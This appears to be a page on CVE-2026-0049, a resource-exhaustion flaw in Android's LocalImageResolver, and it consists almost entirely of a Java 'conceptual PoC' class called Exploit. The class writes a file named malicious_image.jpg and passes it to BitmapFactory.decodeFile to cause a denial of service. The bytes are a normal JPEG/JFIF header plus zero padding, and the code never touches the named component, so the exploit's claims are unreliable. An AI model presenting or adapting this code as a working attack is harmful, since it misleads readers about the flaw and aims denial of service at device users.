CVE-2026-0049 Android LocalImageResolver资源耗尽漏洞

/* * Conceptual PoC for CVE-2026-0049 * This code demonstrates how to trigger the resource exhaustion in LocalImageResolver. * Note: Actual exploitation requires a malformed image header. */ import android.content.Context; import android.graphics.BitmapFactory; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; public class Exploit { public static void triggerDoS(Context context) { try { // Create a malicious file with crafted header to simulate resource exhaustion File maliciousFile = new File(context.getFilesDir(), "malicious_image.jpg"); FileOutputStream fos = new FileOutputStream(maliciousFile); // Write malformed header bytes (conceptual) byte[] header = new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, (byte) 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00}; fos.write(header); // Fill with junk data to force processing for(int i=0; i<10000; i++) { fos.write(0x00); } fos.close(); // Trigger the vulnerable LocalImageResolver // In a real scenario, this path is invoked by the system when processing the file BitmapFactory.decodeFile(maliciousFile.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } } }